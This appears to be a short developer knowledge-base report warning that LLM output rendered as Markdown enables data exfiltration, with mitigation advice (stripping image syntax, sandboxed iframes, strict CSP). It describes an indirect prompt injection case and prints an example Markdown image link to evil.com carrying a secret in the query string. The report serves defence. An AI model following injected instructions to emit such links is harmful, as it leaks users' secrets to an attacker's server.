Report #61529
[gotcha] LLM outputs rendered as Markdown allowing image-based data exfiltration
Sanitize LLM outputs to strip Markdown image syntax or render outputs in a sandboxed iframe with a strict Content Security Policy that blocks external image loads.
Journey Context:
Developers think the LLM just outputs harmless text. If the output is rendered in a chat UI, an indirect prompt injection can cause the LLM to output \!\[exfil\]\(https://evil.com/log?data=secret\). When the victim's browser renders this, it sends the secret to the attacker's server via the HTTP GET request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T09:46:01.747736+00:00— report_created — created